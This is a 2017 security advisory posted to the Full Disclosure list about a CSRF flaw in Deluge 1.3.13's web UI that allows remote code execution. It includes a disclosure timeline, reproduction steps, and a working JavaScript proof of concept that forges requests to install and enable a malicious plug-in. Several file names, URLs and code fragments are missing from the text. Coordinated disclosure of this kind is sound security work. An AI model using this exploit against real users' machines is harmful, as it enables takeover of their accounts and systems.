Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13

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Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13

From: Kyle Neideck <kyle () bearisdriving com>

Date: Sun, 5 Mar 2017 17:22:50 +1100

Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13

Kyle Neideck, February 2017


Deluge is a BitTorrent client available from


Fixed in the (public) source code, but not in binary releases yet. See

Install from source or use the web UI from an incognito/private window until
new binaries are released.


Deluge version 1.3.13 is vulnerable to cross-site request forgery in the Web UI
plug-in resulting in remote code execution. Requests made to the /json endpoint
are not checked for CSRF. See the "render" function of the "JSON" class in

The Web UI plug-in is installed, but not enabled, by default. If the user has
enabled the Web UI plug-in and logged into it, a malicious web page can use
forged requests to make Deluge download and install a Deluge plug-in provided
by the attacker. The plug-in can then execute arbitrary code as the user
running Deluge (usually the local user account).


2017-03-01 Disclosed the vulnerability to Calum Lind (Cas) of Deluge Team
2017-03-01 Vulnerability fixed by Calum Lind
2017-03-05 Advisory released

To Reproduce

 - Create/find a Deluge plug-in to be installed on the victim machine. For
   example, create an empty plug-in with
       python deluge/scripts/ --name malicious --basepath . \
           --author-name "n" --author-email "e"
   and add a line to its to launch calc.exe.
 - Build the plug-in as a .egg (if necessary):
       python malicious/ bdist_egg
 - Make a torrent containing the .egg and seed it somewhere.
 - Create a Magnet link for the torrent.
 - In the proof-of-concept page below, update the PLUGIN_NAME, PLUGIN_FILE and
   MAGNET_LINK constants.
 - Put the PoC on a web server somewhere. Serving it locally is fine.
 - In Deluge, open Preferences, go to the Plugins category and enable the Web
   UI plug-in.
 - Go to the WebUi preferences section and check "Enable web interface". The
   port should be set to 8112 by default.
 - If you're serving the PoC over HTTPS, check "Enable SSL" so its requests
   don't get blocked as mixed content. If you're not, SSL can be enabled or
 - Go to localhost:8112 in a browser on the victim machine and log in.
 - Open the PoC in the same browser.

The PoC sends requests to localhost:8112 that include cookies. The first
request adds the torrent, which downloads the .egg (the plug-in) to /tmp. It
then sends repeated requests to install the .egg and enable it. The attacker's
code in the plug-in runs when the plug-in is enabled.

For the attack to be successful, the PoC page must be left open until the
malicious plug-in finishes downloading. An attacker could avoid that limitation
by using the Execute plug-in, which is installed by default, but Deluge has to
be restarted before the Execute plug-in can be used. I don't think that can be
done from the web UI, so the attacker's code would only execute after the
victim restarted Deluge and then added/removed/completed a torrent.

The PoC adds the plug-in torrent using a Magnet link because it would need to
read the web UI's responses to add a .torrent file, which CORS prevents.

Proof of Concept

Deluge 1.3.13 Web UI CSRF

Tested on Linux, macOS and Windows.

Kyle Neideck, February 2017
kyle () bearisdriving com
let PLUGIN_NAME = 'malicious';
let PLUGIN_FILE = 'malicious-0.1-py2.7.egg';
    'magnet:?xt=urn:btih:1b02570de69c0cb6d12c544126a32c67c79024b4' +
        '&dn=malicious-0.1-py2.7.egg' +

function send_deluge_json(json) {
    console.log('Sending: ' + json);

    for (let proto of ['http','https']) {
        let xhr = new XMLHttpRequest();'POST', proto + '://localhost:8112/json');
        xhr.setRequestHeader('Content-Type', 'text/plain');
        xhr.withCredentials = true;
        xhr.onload = function() { console.log(xhr); };

let download_location =
    (navigator.appVersion.indexOf("Win") != -1) ?
        'C:\\\\Users\\\\Public' : '/tmp';

// Download a malicious plugin using a Magnet link.
// Using the /upload endpoint or adding a .torrent file wouldn't work. We could
// upload the file (either a .torrent or the plug-in itself), but it would be
// saved in a temp dir with a random name. CORS would prevent us from reading
// the path to the file from the response, and to finish the process we'd need
// to send a second request that includes that path.
send_deluge_json('{' +
    '"method":"web.add_torrents",' +
    '"params":[[{' +
        '"path":"' + MAGNET_LINK + '",' +
        '"options":{' +
            '"file_priorities":[],' +
            '"add_paused":false,' +
            '"compact_allocation":false,' +
            '"download_location":"' + download_location + '",' +
            '"move_completed":false,' +
            '"move_completed_path":"' + download_location + '",' +
            '"max_connections":-1,' +
            '"max_download_speed":-1,' +
            '"max_upload_slots":-1,' +
            '"max_upload_speed":-1,' +
            '"prioritize_first_last_pieces":false}}]],' +

window.stop = false;

// Repeatedly try to enable the plugin, since we can't tell when it will finish
// downloading.
function try_to_add_and_enable_plugin() {
    send_deluge_json('{' +
        '"method":"web.upload_plugin",' +
        '"params":["' + PLUGIN_FILE + '","' +
            download_location + '/' + PLUGIN_FILE + '"],' +

    send_deluge_json('{' +
        '"method":"core.enable_plugin",' +
        '"params":["' + PLUGIN_NAME + '"],' +

    if (!window.stop) {
        window.setTimeout(try_to_add_and_enable_plugin, 500);


<button onclick="window.stop = true">Stop sending requests</button>

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  • Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13 Kyle Neideck (Mar 05)

Source: Full Disclosure @ March 5, 2017 at 02:06PM